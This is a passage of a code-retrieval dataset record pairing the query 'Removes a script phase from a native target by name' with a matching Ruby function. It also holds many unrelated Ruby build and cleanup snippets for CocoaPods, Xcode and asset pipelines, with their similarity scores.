\"//ItemGroup/None\") + XPath.match( doc, \"//ItemGroup/Content\") + XPath.match( doc, \"//ItemGroup/Compile\")\n # Select the ones that are resources\n non_embedded_resources = non_embedded_files.select {|e| (e.attributes['Include'] || '') =~ /^#{app_root}\\\\/}\n # Change them to embedded\n non_embedded_resources.each {|element|\n puts \"Changing #{element.name} to EmbeddedResource: #{element.attributes['Include']}\"\n element.name = 'EmbeddedResource'\n }\n\n # Get all itemgroup elements that are embedded\n embedded_files = XPath.match( doc, \"//ItemGroup/EmbeddedResource\")\n # Select the ones that are resources\n embedded_resources = embedded_files.select {|e| (e.attributes['Include'] || '') =~ /^#{app_root}\\\\/}\n embedded_resources.each {|element|\n if element.delete_element('CopyToOutputDirectory')\n puts \"Removed 'CopyToOutputDirectory' for #{element.attributes['Include']}\"\n end\n }\nend", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "def update_frameworks(name)\n\n path = \"#{Dir.pwd}/#{name}.xcodeproj\"\n\n if !Dir.exist?(path) then\n puts \"No project!\"\n return\n end\n\n update_carthage()\n inject_frameworks(name)\nend", "def remove!\n windows_package 'Chef Development Kit' do\n action :remove\n end\n end", "def after_created\n if compile_time\n Array(action).each do |action|\n run_action(action)\n end\n Gem.clear_paths\n end\n end", "def build_framework?; ARGV.include? '--framework'; end", "def clean\n FileUtils.rm(\"#{build_name}.json\")\n end", "def clean(ant)\n @build_dir.delete\n end", "def add_system_framework(framework)\n puts \"Adding framework to xcode project: #{framework}.\"\n @target.add_system_framework(framework);\n puts 'Finished adding framework.'\nend", "def copy_source\n copy_source_tree('source')\n return unless Dir.exist?(\"#{@build_dir}/source/debian\")\n\n FileUtils.rm_rf(Dir.glob(\"#{@build_dir}/source/debian\"))\n end", "def uninstall(assets); end", "def unbuild(verbose=false)\n say \"Removing stale assets...\" if verbose\n\n pipeline = BPM::Pipeline.new self\n asset_root = File.join root_path, 'assets'\n pipeline.buildable_assets.each do |asset|\n next if asset.logical_path =~ /^bpm_/\n asset_path = File.join asset_root, asset.logical_path\n next unless File.exists? asset_path\n say \"~ Removing #{asset.logical_path}\" if verbose\n FileUtils.rm asset_path\n\n # cleanup empty directories\n while !File.exists?(asset_path)\n asset_path = File.dirname asset_path\n FileUtils.rmdir(asset_path) if File.directory?(asset_path)\n if verbose && !File.exists?(asset_path)\n say \"~ Removed empty directory #{File.basename asset_path}\"\n end\n end\n end\n\n say \"\\n\" if verbose\n end", "def test_framework_runtimes\n find_duplicates :frameworks\n end", "def wrap_xcodebuild\n require 'fileutils'\n @wrapped_xcodebuild_path ||= File.join(Gym::ROOT, \"lib/assets/wrap_xcodebuild/xcbuild-safe.sh\")\n end", "def kill_precompiled_assets!\n dir = File.join(Rails.root, 'public', 'assets')\n FileUtils.rm_rf(dir) if Dir.exist?(dir)\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def clean()\n\t\tSystem::clean target()\n\tend", "def clean()\n\t\tSystem::clean target()\n\tend", "def resetIOSRepo\n # sh \"git checkout -q bFan-ios-dev/bfan-ios-qa-Info.plist bFan-ios-dev/bfan-ios-prod-Info.plist bFan-ios-dev/bfan-ios-dev-Info.plist bFanUITest/Info.plist\"\nend", "def skip_xcodebuild?\n ENV['SKIP_XCODEBUILD']\nend", "def delete\n @exists = apps.include?(params[:app])\n @app = params[:app] unless @exists == false\n\n if @exists\n `rm #{File.expand_path(\"~/.pow/#{@app}\")}`\n redirect_to root_path, :notice => \"Pow app deleted\"\n else\n render :text => \"Given app is not a Pow app\"\n end\n end", "def copy_source\n copy_source_tree('source')\n return unless Dir.exist?(\"#{@build_dir}/source/debian\")\n FileUtils.rm_rf(Dir.glob(\"#{@build_dir}/source/debian\"))\n end", "def create_inject_test_target(project, test_dir, test_target_name, test_target_identifier)\n test_target = project.new(Xcodeproj::Project::PBXNativeTarget)\n test_target.name = test_target_name\n test_target.product_name = test_target_name\n test_target.build_configuration_list = Xcodeproj::Project::ProjectHelper.configuration_list project, :ios, \"9.0\"\n\n product_ref = project.products_group.new_reference(\"#{test_target_name}.xctest\", :built_products)\n product_ref.include_in_index = '0'\n product_ref.set_explicit_file_type\n test_target.product_reference = product_ref\n\n test_target_source_build_phase = project.new(Xcodeproj::Project::PBXSourcesBuildPhase)\n test_target.build_phases << test_target_source_build_phase\n test_target.build_phases << project.new(Xcodeproj::Project::PBXFrameworksBuildPhase)\n test_target.build_phases << project.new(Xcodeproj::Project::PBXResourcesBuildPhase)\n\n test_target.build_configuration_list.set_setting('INFOPLIST_FILE', File.join(test_dir, 'Info.plist'))\n test_target.build_configuration_list.set_setting('WRAPPER_EXTENSION', 'xctest')\n test_target.build_configuration_list.set_setting('TEST_HOST', '$(BUNDLE_LOADER)')\n test_target.build_configuration_list.set_setting('PRODUCT_BUNDLE_IDENTIFIER', test_target_identifier)\n test_target.build_configuration_list.set_setting('LD_RUNPATH_SEARCH_PATHS', [\n '$(inherited)',\n '@executable_path/Frameworks',\n '@loader_path/Frameworks',\n ])\n\n Dir.glob(\"#{test_dir.sub /\\/$/, ''}/*.{swift,m}\") do |test_file|\n file_ref = project.new_file test_file\n test_target_source_build_phase.add_file_reference file_ref\n end\n\n return test_target\nend", "def cleanup(prefix)\n print_header \"Cleaning up ...\"\n Constants::SOFTWARE.each do |sw|\n cmd \"rm #{prefix}/#{sw}.tar.gz; rm -rf #{prefix}/#{sw}\" if File.exist? \"#{prefix}/#{sw}.tar.gz\"\n end\n end", "def build_jar\n `rm framework/local.properties` if File.exists? 'framework/local.properties'\n `rm framework/phonegap.jar` if File.exists? 'framework/phonegap.jar'\n `rm framework/phonegap.js` if File.exists? 'framework/phonegap.js'\n `ECHO 'sdk-location=#{ @android_sdk_path }' > framework/local.properties`\n `cd framework; ant jar`\n end", "def delete_master_launch_script(date)\n delete_upstart_script(:master, date)\n end", "def cleanup\n sh 'rm -rf _site'\n compass('clean')\nend", "def uninstall_component\n FileUtils.remove_entry_secure destination_path if Dir.exist? destination_path\n end", "def delete(filename)\n within_source_root do\n FileUtils.mkdir_p File.dirname(filename)\n FileUtils.touch filename\n end\n \n generate { File.should_not exist(filename) }\n end", "def test_build_no_install\n result = Sprout::Builder.build(@manual_spec, @fixture)\n assert_equal('swfmill', result.executable)\n end", "def uninstall_app(*args)\n # remove files based on pkg info (boms)\n # or\n # just remove the app directory\n # check munki for tips on how to do this cleanly.\n # i'm inclined to skip this for now.\n end", "def pkg_clean\n sysprint \"#{@name} clean\"\n\n FileUtils::rm_rf(@objdir, :secure => true)\n end", "def prepare_jasmine_coffeescript\n # Remove previously compiled project coffeescript and spec coffeescript\n delete_coffeescript(\"../../../generated/\")\n \n # Compile project coffeescript and spec coffeescript\n compile_coffeescript(\"../../../../app/assets/javascripts/builder/\", \"../../../generated/javascripts/\")\n compile_coffeescript(\"../../../coffeescripts/specs/\", \"../../../generated/specs/\")\n end", "def cleanup(test_configuration)\n if test_configuration[:unit]\n # copy main package.json from project directory in order to use it in the unit-test\n # docker container\n FileUtils.rm_rf(\"#{@test_dir}/unit/package.json\")\n end\n end", "def deleteScript(scriptName)\n clean = Builtins.filter(@merged) do |s|\n Ops.get_string(s, \"filename\", \"\") != scriptName\n end\n @merged = deep_copy(clean)\n nil\n end", "def preclean_project\n # Clean-up non-useful files (if any)\n clean_msg = `make clean 2>&1`\n @log_file.puts \"\\nNettoyage du répertoire :\\n\\n#{clean_msg}\"\n \n # I want to be sure...\n FileUtils::rm_f Dir.glob(\"*.o\")\n FileUtils::rm_f Dir.glob(\"*~\")\n end", "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "def additional_dylibs dylibs, other_lib\n dylibs_to_change(other_lib).delete_if do |d|\n basenames = dylibs.map { |lib| File.basename(lib) }\n basenames.include? File.basename(d)\n end\n end", "def install\n FileUtils.cp_r File.join(builddir, '.'), destdir\n # Remove build cookies\n %w(build extract).each do |cookie|\n Dir.glob(\"#{destdir}/.#{cookie}-cookie-*\").each do |f|\n Log.info \"Deleting FPM Cookie #{f}\"\n File.delete(f)\n end\n end\n end", "def cleanup\n @executor.start_section \"Vundle\"\n @executor.execute_interactive \"Cleaning\", \"vim +BundleClean\\! +qall\"\n end", "def archive_build_if_necessary(target_directory)\n # Nothing here in superclass\n end", "def destroy_build_cartridge\n cart = Cartridge.new({:application => self, :as => as, :name => 'jenkins-client-1.4'}, true)\n cart.destroy.tap{ |success| cart.errors.full_messages.each{ |m| errors.add(:base, m) } unless success }\n end", "def teardown\n @executor.start_section \"Vundle\"\n @executor.execute \"Removing Vim Folder\", \"rm -r #{vim_folder}\" do |output|\n raise TaskSkipped.new(\"Folder not found\") if output.include? \"No such file or directory\"\n end\n end", "def update_app\n in_root do\n run(\"echo 'a' | rake rails:update:scripts\")\n run(\"echo 'a' | rake rails:update:javascripts\")\n run(\"echo 'a' | rake rails:update:configs\")\n run(\"echo 'a' | rake rails:update:application_controller\")\n\n if @javascript_library != \"prototype\"\n run \"rm public/javascripts/controls.js\"\n run \"rm public/javascripts/dragdrop.js\"\n run \"rm public/javascripts/effects.js\"\n run \"rm public/javascripts/prototype.js\"\n end\n end\nend", "def clean_test_case\n if File.exists?(@local_file_download_destination)\n File.delete(@local_file_download_destination)\n end\n end", "def remove_checkpoints\n `cd #{self.project_root} && rm -rf .checkpoints/environments/#{self.environment}/{nodes,prepared_nodes,steps/step-{0..3}}/#{self.hostname}.yml`\n end", "def sort_project_build_phase\n puts \"Reordering build phase...\"\n\n project = Xcodeproj::Project.open(\"Traveloka.xcodeproj\")\n\n project.native_targets.each { |target|\n\n if target.name == \"Traveloka\" || target.name == \"Traveloka Staging\"\n # Take the native embed frameworks phase and pods build phases.\n native_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"Embed Frameworks\"\n }.first\n pods_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Embed Pods Frameworks\"\n }.first\n pods_copy_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Copy Pods Resources\"\n }.first\n\n index_native_embed_phase = target.build_phases.index(native_embed_phase)\n\n # Shift the phase to below embed frameworks phase in native build phase.\n if index_native_embed_phase < target.build_phases.length && (pods_embed_phase != nil && pods_copy_phase != nil)\n target.build_phases.delete(pods_embed_phase)\n target.build_phases.delete(pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_embed_phase)\n end\n end\n }\n\n project.save\n\n puts \"\\e[32m√ Build phase reorder complete!\\e[0m\"\nend", "def clearDistributionDirectory(projectDir)\n distDir = projectDir.to_s + '/dist'\n FileUtils.rm_rf(distDir)\n FileUtils.mkdir_p(distDir)\nend", "def clean_up\n puts \"Run the following commands to clean up your test data:\"\n puts \"oc delete pv --all\"\n puts \"oc delete pvc --all\"\n puts \"Deleting temporary test files\"\n `rm -rf #{$templates_path}/*`\nend", "def uninstall_app_and_sandbox\n return true if !app_is_installed?\n\n uninstall_app_with_simctl\n true\n end", "def cleanup\n if Dir.exists?(WORKFOLDER)\n FileUtils.remove_dir(WORKFOLDER)\n print_status(\"Workspace \\\"#{WORKFOLDER}\\\" deleted.\")\n end\nend", "def clean!\n Cleaner.remove_package(package)\n end", "def remove_watchman_trigger\n if watchman_trigger_installed?\n `watchman trigger-del #{root_dir} 'trigger_rebuild'`\n end\nend" ]
[ "0.67660594", "0.6628715", "0.6527245", "0.6347394", "0.6079273", "0.6024978", "0.5963984", "0.590165", "0.58984447", "0.58905786", "0.58841264", "0.58121765", "0.58029467", "0.5783603", "0.57787454", "0.5745195", "0.57395023", "0.5721305", "0.5674515", "0.5672167", "0.565794", "0.55781543", "0.55753195", "0.55682254", "0.5483534", "0.5464661", "0.54264617", "0.53855777", "0.53669375", "0.535024", "0.5347568", "0.5340829", "0.533249", "0.53259444", "0.53223836", "0.53182656", "0.5313464", "0.5306677", "0.52817744", "0.52609575", "0.5250806", "0.5247234", "0.524599", "0.5235205", "0.52200776", "0.5206081", "0.5201059", "0.51844954", "0.5179611", "0.5174376", "0.5150647", "0.51475406", "0.51437736", "0.51307297", "0.51243454", "0.51105845", "0.51082313", "0.51040024", "0.50910234", "0.50851846", "0.50851846", "0.5080012", "0.5080012", "0.5080002", "0.5080002", "0.5073625", "0.5064883", "0.5049421", "0.5037262", "0.50317276", "0.5015455", "0.5003096", "0.5000437", "0.4988029", "0.49775597", "0.49729785", "0.49710158", "0.4967293", "0.49645314", "0.49511108", "0.49506485", "0.49387026", "0.49344185", "0.49314186", "0.49306276", "0.4926591", "0.49244002", "0.49133295", "0.49131703", "0.4900264", "0.48984972", "0.4896884", "0.48954964", "0.4894867", "0.48862204", "0.48814404", "0.48770028", "0.48762622", "0.48742098", "0.48621696" ]
0.7573576
0
Removes a script phase from a native target by name
def remove_script_phase_from_target(native_target, phase_name) build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) } return unless build_phase.present? native_target.build_phases.delete(build_phase) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def remove()\n CCProcess.start(\"sdk-manage --target --remove '#{@name}'\", (_ :removing_target) + \" #{@name}\", 60*15)\n @@targets.delete(@name)\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def unpin_script(script); end", "def unregister_script name\n $log.debug(\"ScriptManager.register_script\") { \"Unregistering script: #{name}\" }\n @script_info.delete_if {|s| s.name == name}\n end", "def unpin_script(script)\n devtools.runtime.evaluate(expression: script.remove)\n devtools.page.remove_script_to_evaluate_on_new_document(identifier: script.devtools_identifier)\n pinned_scripts.delete(script)\n end", "def deleteScript(scriptName)\n clean = Builtins.filter(@merged) do |s|\n Ops.get_string(s, \"filename\", \"\") != scriptName\n end\n @merged = deep_copy(clean)\n nil\n end", "def remove(name)\n if hook = by_name(name)\n hook.destroy!\n end\n end", "def remove_embed_frameworks_script_phase_from_embedded_targets\n return unless target.requires_host_target?\n native_targets.each do |native_target|\n if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n end\n end", "def remove_target(target)\n @cache[\"targets\"].delete(target)\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def remove(plugin); end", "def remove_target\n options[:remove_target]\n end", "def unload name\n raise \"Cannot unload: No such script #{name}\" unless @scripts.has_key? name\n\n @scripts[name].die if @scripts[name].respond_to? \"die\"\n\n @scripts[name].unregister_script\n @scripts[name].unregister_commands\n @scripts[name].unregister_events\n\n @scripts.delete name\n end", "def uninstall_script(directives, directive_name: :script)\n executable, script_arguments = self.class.read_script_arguments(directives,\n \"uninstall\",\n { must_succeed: true, sudo: true },\n { print_stdout: true },\n directive_name)\n ohai \"Running uninstall script #{executable}\"\n raise CaskInvalidError.new(@cask, \"#{stanza} :#{directive_name} without :executable.\") if executable.nil?\n executable_path = @cask.staged_path.join(executable)\n\n unless executable_path.exist?\n message = \"uninstall script #{executable} does not exist\"\n raise CaskError, \"#{message}.\" unless force\n opoo \"#{message}, skipping.\"\n return\n end\n\n @command.run(\"/bin/chmod\", args: [\"--\", \"+x\", executable_path])\n @command.run(executable_path, script_arguments)\n sleep 1\n end", "def unload name\n raise \"Cannot unload: No such script #{name}\" unless @scripts.key? name\n\n @scripts[name].die if @scripts[name].respond_to? \"die\"\n\n Events.dispatch_for @scripts[name], :unloading\n\n Events.delete_for @scripts[name]\n URL.delete_for @scripts[name] if defined? MODULE_LOADED_URL_HANDLER\n RegexHandlerManager.delete_for @scripts[name] if defined? MODULE_LOADED_REGEX_HANDLER\n\n @scripts[name].unregister_script\n @scripts[name].unregister_commands\n @scripts[name].unregister_events\n\n @scripts.delete name\n end", "def uninstall_early_script(directives)\n uninstall_script(directives, directive_name: :early_script)\n end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def delete_script\n\t\tupdate_script = Script.find_by(id: self.script_tag)\n\t\tupdate_script.destroy if update_script\n\tend", "def remove_command(name)\n @commands ||= {}\n @commands.delete name\n end", "def remove_plugin(name)\n @data[\"installed\"].delete(name)\n save!\n end", "def remove_trigger plugin_name\n events.reject! { |event| event.plugin == plugin_name.to_s }\n end", "def new_shell_script_build_phase(name = nil)\n phase = project.new(PBXShellScriptBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def deleteTarget(name=nil)\n clickTargetTabByName(name) if not name.nil?\n @deleteTargetBtn.click\n snooze 1\n popup = WarningDialogPopup.new\n popup.verifyPopupTitle(\"Delete Target\")\n popup.verifyPopupText(\"Are you sure you want to delete the selected target?\")\n\n popup.clickBtn(\"Delete\")\n\n return AddTargets.new.verifyTargetNotPresent(name)\n end", "def remove_has_target_statements\n remove_predicate_and_its_object_statements RDF::Vocab::OA.hasTarget\n end", "def remove_hook_at(method_name, hook_index)\n hooks[method_name].delete_at(hook_index)\n end", "def remove_hook(method_name, hook)\n hooks[method_name].delete(hook)\n end", "def remove_bundle(bundle_name, opts = {})\n self.bundle_installer.remove(bundle_name, opts)\n end", "def uninstall\n yaourt('--noconfirm', '-R', @resource[:name])\n end", "def remove\n args.each do |name|\n messages = nil\n action(\"Removing #{name} from #{app}\") do\n messages = addon_run { heroku.uninstall_addon(app, name, :confirm => options[:confirm]) }\n end\n output messages[:attachment] if messages[:attachment]\n output messages[:message]\n end\n end", "def uninstall(assets); end", "def remove_remote(name)\n self.lib.remote_remove(name)\n end", "def undo\n if(File.exist?(@newName) and @hasExecuted == true)\n File.rename(@newName, @filepath)\n @hasExecuted=false\n end\n end", "def remove_by_name(name)\n fw = get_by_name(name)\n if (fw != nil)\n return remove(fw)\n end \n end", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, 